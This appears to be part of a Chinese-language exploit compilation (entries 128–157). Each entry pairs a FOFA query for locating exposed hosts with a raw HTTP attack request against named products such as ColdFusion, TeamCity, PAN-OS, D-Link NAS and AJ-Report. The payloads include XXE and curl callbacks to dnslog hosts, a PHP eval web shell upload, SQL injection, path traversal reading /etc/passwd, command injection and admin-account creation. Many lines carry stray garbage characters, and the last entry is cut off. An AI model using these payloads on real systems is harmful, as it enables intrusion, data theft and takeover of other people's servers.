FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
- D4 b9 d5 b( z* yHost: 192.168.40.130:8888
. n& B! S6 W; |5 z( CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
1 t0 z- N6 l" J" W% f0 n, `Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 g* K; {: i9 zAccept-Language: zh-CN,zh;q=0.9
- x  k" x% a! j' N  }Connection: close
  \% B# e! J- N# AContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
0 J% {5 M, K# W6 BPurpose: prefetch
6 g: t  y  O' B/ g  Q4 ]Sec-Purpose: prefetch;prerender
) m3 O8 O9 F9 ~9 p3 c% W
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

2 f6 c0 n/ z, j; M7 O+ D% vBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
' o- H8 Y' a6 a" Q7 [" ]3 YContent-Disposition: form-data;name="Params"
7 L& \) {8 H# l. u1 Y3 l+ P$ ~! [Content-Type: text/plain
" h8 o) l9 v* T* E9 U3 A( n! H
<?xml version="1.0" encoding="UTF-8"?>
. L8 @8 {' V6 [4 X2 c2 A<!DOCTYPE test [
1 O0 j3 F, M! a7 {3 N<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
" A/ v! O4 G9 R]
>
9 u8 h4 y1 g: F# X<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

) U  x5 b! p5 g: [) y) b0 i, q

128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
* F6 m0 U8 c/ O- V0 E1 MFOFA：app="Adobe-ColdFusion"
PAYLOAD
1 {& ]8 Y2 i2 A5 S
129. Adobe ColdFusion 任意文件读取
1 k5 ^1 [+ V+ G6 F& i* ^CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
7 x: D, g9 d8 \1 WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
+ L- S8 u9 _% ^2 DConnection: close

7 D# Z. @  n+ _$ H: l' V; C$ H
第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
* a  g) {. Y5 R* x* H& cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
. p: m  t# Q* G$ [* kAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
! D' s- N1 I- K1 G. c. ^uuid: 85f60018-a654-4410-a783-f81cbd5000b9
' q. A' Q' F' u& u& J, ^
' c6 R) W6 Q2 e# J# W. l& C
9 z- F* @9 B+ i4 d' `130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
7 N- q$ i% A. l! d& Y, RAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
7 G4 r( T: p) ]1 x6 i. U; SContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
5 w9 m3 b3 k  mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
, G* F5 F2 e, B- y$ H
) r8 e1 O  P5 J( e! s8 Y, p* a------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
0 I/ D5 A, A6 s2 }; y. {$ B, eContent-Type: image/png
9 F7 X9 C' J2 H' g% T% ~- H
<?php phpinfo();@eval($_POST['sec']);?>
1 {1 _/ o  B$ Y, P0 i6 O------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
# t# C* l# X* V9 @3 bHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
2 g$ o+ m8 E, r. n/ L/ MContent-Type: application/json
5 \2 G5 i4 u/ T9 \7 |Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
/res/../admin/diagnostic.jsp
' p. i, u: J0 R' |# L4 U  t0 @/.well-known/acme-challenge/../../admin/diagnostic.jsp
' D7 k4 p6 W* X7 ]/update/../admin/diagnostic.jsp


CVE-2024-27198-RCE.py
6 I6 L/ D# B4 w. q5 U3 }8 k
6 p0 d5 z' a  H133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
' V" K& I4 Q- [8 c% i# vPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
0 @' W, O0 ?9 l" R5 W, }3 lHost: your-ip
. l3 ^, O8 l6 c$ U# Q1 uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
* k) v" ^1 x/ ~2 k  [5 ?$ X0 gContent-Disposition: form-data; name="file"; filename="rce.php"
3 i" y. }! S" ^& a7 hContent-Type: application/octet-stream

2 u5 c. o: O3 _0 n# d3 B3 N! ^5 C<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
# h5 Q1 S; L1 X7 [& A, |6 M+ q
2 S% S, s1 n& ^$ A% u# W9 j

4 Y2 L& R# o& T* B; h1 k0 m134. 网康NS-ASG应用安全网关index.php sql注入
1 _$ D# X& L0 s) q4 {0 j6 u" QCVE-2024-2330
7 e3 e8 B  d) P# T( uNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
7 Z$ w) a: f( R  ]0 T! sPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
" S  V4 ]8 j4 O% P3 Z; X( DCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
2 P( c) |# M: f3 H% @8 k. BAccept: */*
  i/ U% b7 h  u3 u, IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
+ E" s) g3 z  O7 sSec-Fetch-Dest: empty
" \! D8 ^- [+ k7 y/ fSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
6 `1 j. t7 l* R$ v- N7 E3 FTe: trailers
! s/ A3 y$ Y5 l2 \4 PConnection: close
Content-Type: application/x-www-form-urlencoded
0 k( V# n1 q" p4 @8 R# @' G- X% v4 AContent-Length: 263

0 z, R; o: M9 Wjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


  z, f# k* P: R2 c135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
# k6 x% U% N& K6 E4 U, a+ e, p% s, PFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
' X5 F7 d2 n/ j& J
) Q, a, C5 W8 h# ?
136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
9 U: H) k+ m* F/ QHost: x.x.x.x:10000
; g* g9 R+ ~. C( FUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
2 V7 i1 G( R% v, @! O3 e, yAccept: */*
Accept-Language: en
, V0 ]4 X* R" I% y2 @& J* {7 {Accept-Encoding: gzip

3 N9 Z. l: i7 |  X$ O( U
9 F6 |. H, \1 h) g, M! l137. 福建科立迅通信指挥调度平台down_file.php sql注入
0 u- w7 G. F8 i5 Q; S9 x# oCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
! i' q! n  \  k2 j; v8 DGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
+ |& V, f: M. o& Y/ BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ ^( Q& `% O6 \- E+ f2 P6 T* CAccept-Encoding: gzip, deflate, br
  t  c( a! Y. `" P) H$ q8 `' Y. D9 _Connection: close
* Y7 }9 `( t6 b1 n. I; t6 j" nCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
2 J: F2 e8 f* t4 [

138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
7 D$ i* @8 m8 o! N) ^# gCVE-2024-2621
* k9 q5 C3 G) _5 t6 ^FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
% B( g8 f7 ]2 G: B  C" `' bGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
# M/ F0 b8 Y$ U0 O& VHost: x.x.x.x
& [; @4 V' H7 k+ w5 J. R$ QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
: a4 i5 I* |3 B9 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* d5 F3 ^+ l. H9 R, b7 @: rAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
' ?  Y9 ?7 W7 m' Q" J

! |& ?5 w: j) `$ k% @$ B139. 福建科立讯通信指挥调度平台editemedia.php sql注入
1 l( [4 g  w- hCVE-2024-2622
8 b& }, H' V3 e: s& P6 G' {FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
" Q. J5 C* ^$ e. Z& w* Z4 Z) O3 \" K) TGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
0 m$ G0 @% @, {  \2 OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
! M. Y4 l0 p6 G) V0 ]6 u; c5 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 |6 C& S' M) h3 AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 }7 V# [% ^: g+ `) r  mAccept-Encoding: gzip, deflate, br
1 t2 q: {4 p; i+ o# hConnection: close
. Z3 ?0 |, n0 q$ aCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
5 A" C# x" ?% r7 Z8 J

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
2 S4 z: d' A, p5 N7 k( J- lHost: x.x.x.x
5 n2 Q  N( ]1 a8 g0 M1 s; e5 N1 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% j! D$ |9 E: V2 N  dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, J1 E+ S" E2 [( P" Z9 p" {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- C% g$ n3 `. N4 F! F( EAccept-Encoding: gzip, deflate, br
Connection: close
% l+ o: s$ }) ]& a! [Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1

( y; R) q( l  P, Q: n5 c
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
2 ]6 ~( z2 G" ~. @FOFA：body="指挥调度管理平台"
: w* o+ _" e( ]( T9 aPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded

0 m& h6 ~8 R! P" h. B4 ^
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

/ d8 {. h& B  ~! ~$ D1 \
142. CMSV6车辆监控平台系统中存在弱密码
# R* T* c2 B1 x5 q9 D" cCVE-2024-29666
FOFA：body="/808gps/"
: v/ Z! r' s' t. Wadmin/admin
/ Q3 [* S- [3 \* g  W" K+ [( h1 i143. Netis WF2780 v2.1.40144 远程命令执行
' ^9 V: j/ u# k; F) q" bCVE-2024-25850
! d6 o( C/ X0 z# IFOFA：title='AP setup' && header='netis'
  }) W2 ~$ Y1 N! r% U# C5 nPAYLOAD

1 r5 z6 H8 g2 e' M- Q0 B, h144. D-Link nas_sharing.cgi 命令注入
; i/ Q7 z* T0 g6 i* GFOFA：app="D_Link-DNS-ShareCenter"
. l9 Q8 m2 M+ {7 {1 jsystem参数用于传要执行的命令
2 v, D3 ^. B5 J6 g1 G! q: rGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
3 W; E/ l! F. _: O% w: e* `/ {" Z& Q% BUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
1 \: w. D3 T! E0 ^9 a  L1 oConnection: close
. u; x$ q! S1 m, k2 }Accept: */*
) s) F7 s1 e4 r- T( h/ J0 W& HAccept-Language: en
' E9 A0 m2 V# ?, O$ RAccept-Encoding: gzip
* J+ A+ v% K& N4 x1 i3 G
' D- }5 P" M( ~, i
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
4 N! j. ?) h2 y  Y3 t* {" O1 z1 o3 O- s5 x/ lCVE-2024-3400
FOFA：icon_hash="-631559155"
6 y& r$ B. u8 D5 f& tGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
+ u2 C6 `0 S6 B! L  k8 O$ f* A$ YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
/ j! B: j" g; d: @& CCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
, L: }9 H% G3 a" \

# L# o/ M! |5 c  I2 R. i( F146. MajorDoMo thumb.php 未授权远程代码执行
( E8 i  Y7 w6 }( x  }8 aCNVD-2024-02175
/ L4 v+ e4 B1 U7 q6 q  L2 Y" l% tFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
9 k$ n/ `9 G$ v8 P% Q* xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
$ a/ j7 Q6 l6 k( l0 u& CAccept-Encoding: gzip, deflate
Connection: close
1 H) L, I( u8 B

. K4 a/ \( g7 ]  e" u) i$ M3 i147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
: u- g5 Y- ?" `4 }CVE-2024-32399
! k3 X2 R6 h4 m0 O0 J8 gFOFA：body="RaidenMAILD"
" g  K% {8 x& x$ vGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
+ u* W4 y5 C% r( v* Z7 J7 C5 cConnection: close

6 K: e& A- o1 _# H2 {: Q
( C1 L. v+ f6 q6 V- J148. CrushFTP 认证绕过模板注入
2 c" n; Z0 D2 e6 E; m- DCVE-2024-4040
) }9 T8 k- w+ o3 x9 VFOFA：body="CrushFTP"
6 J6 v) s$ k; H3 y; [9 XPAYLOAD

1 q3 ?' O" ?" {% v+ e* R149. AJ-Report开源数据大屏存在远程命令执行
  @7 W. f% g1 x- dFOFA：title="AJ-Report"
* P' w" ?# s! {, [. Q" z- S4 E
4 m( f' T2 t( r6 M# P: mPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
1 ]5 w! i% }0 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
& }. n5 D! j# Q# \4 p- W( zAccept-Language: zh-CN,zh;q=0.9
# y) w; H. ?4 \5 E1 K% d0 o( B) e( xContent-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
2 A& O! x5 p; p( b6 S& ]9 W
1 B! a# _& Z) p3 f2 o; O150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
7 a/ F( L/ z  Q  J7 tPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 x* b' _2 i. _5 sAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
% K4 N; T3 K; c9 K5 y* h2 a. ~Content-Length: 339
  U5 e# r# V; D$ o0 ~* y$ V
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


- c0 r& \' T$ D8 h. N151. AJ-Report 1.4.1 pageList sql注入
4 Z7 I  [! u; ?. u3 e3 y) ?  UFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
) S# [4 m8 z% L9 Z5 ?/ pHost: x.x.x.x
2 d4 j8 @: b% w4 d4 J& ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
; f- x; P6 ~1 t6 F+ QAccept-Encoding: gzip
4 j9 z0 N) u# t, H: S" M. V
  m5 z9 W4 @8 |
152. Progress Kemp LoadMaster 远程命令执行
5 u5 G+ @) z1 a! `. ^5 _$ OCVE-2024-1212
7 J$ `% S7 @6 L2 O% V0 xLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
( t0 M+ v2 b7 n# K) l# FJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
" `1 o0 n2 j8 |9 I9 C" G! vGET /access/set?param=enableapi&value=1 HTTP/1.1
: Q$ O9 l; i+ H5 W. O) I2 xHost: x.x.x.x
5 a3 Q; y( K+ IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


) R5 e) N4 @- O1 ^153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
8 C& L# ^% d1 }5 X: Rhttp://x.x.x.x/config

0 z' G: O: {: V+ x# Z7 _
第二步，将/etc/passwd的内容写入到一个临时文件
8 o0 y1 v/ v7 C. @2 N1 QPOST /component_server HTTP/1.1
Host: x.x.x.x
* k2 }7 ?8 [. m- T- ]$ |5 z- w: MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
% t. \+ e9 T6 w1 Y: lConnection: close
$ r5 b6 p1 o  O3 i% TContent-Length: 115
Content-Type: application/json
" x! @2 ]" D2 }: ~" d8 y$ D- @5 I9 o* mAccept-Encoding: gzip

/ t% m2 N5 ~& }4 @& O+ A  w{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
2 e& _9 u: A' y# Y. C

/ @7 P4 P6 E% n第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
- l' m& t8 J5 W+ j

154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
; M, U5 P) c, o& K6 l8 |Host: x.x.x.x
# N/ a# {4 z6 b$ N# V7 lContent-Length: 106
Cache-Control: max-age=0
8 @: D6 N9 D1 X) j$ ZUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
/ N4 n, z  `4 X2 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
) ^# q. k2 B# v9 UConnection: close
% O  z4 j/ ]) L- E0 N6 P) _
3 i! g& Z1 P5 Z& s" e# P3 z6 u+ f8 R{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
6 u  S8 R2 S4 _, mCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
! F2 y, T+ S3 T! D+ lPOST /include/file.php HTTP/1.1
; l4 D9 g/ S6 \7 dHost: x.x.x.x
) N2 z3 J2 a: S) V2 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
, o& b1 u1 ]- v' u! t1 }Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
) M! O7 A& x4 nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. q2 _7 z8 }" H" w- Z' J0 k8 VContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
/ f5 o8 U# C' ]9 T* a& HX-Requested-With: XMLHttpRequest
5 F( g  q( G, F, J8 I! g7 ~& u
& q! [' u" Y  n' x7 Z-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
9 O: I8 p1 N. U: D-----------------------------qttl7vemrsold314zg0f--


5 m5 g9 h* H# A0 P: Z访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

3 j1 E' I7 L0 v' A0 u; i- A/ d1 o' ?156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
7 ?" B8 ^1 r/ m- q" cFOFA："Location: /login.rsp"
·TBK DVR-4104
9 ?7 k5 I1 X) K, J. J2 X; t0 o·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
" v" o5 `! \1 \, S/ M

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
/ |+ V& p3 Y8 Z  S( e4 e. WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 k$ e/ f' p; k2 N6 ]* x2 G# qConnection: close
Content-Length: 0
Cookie: uid=1
2 m3 M. M- U! fAccept-Encoding: gzip
+ v9 A+ i. b: I8 k% K/ O7 y

157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
$ _& b+ N% _, l6 j5 pFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
! K; a5 u* n$ \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
/ X2 ~1 C6 g' W3 p0 sContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) E: L& m# b" UCache-Control: max-age=0
Connection: close
, P/ {5 t9 G; ]% @9 a# ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
1 a8 o2 K' v3 w- B9 D3 D6 H8 ?Upgrade-Insecure-Requests: 1
1 G$ ^  ?- M; z9 C# G6 c- |6 x2 q$ w
7 g4 D  g; g# b7 @$ }& k8 r------WebKitFormBoundary1imovELzPsfzp5dN
5 Z" `' ?" J; ~& I$ {4 z" xContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
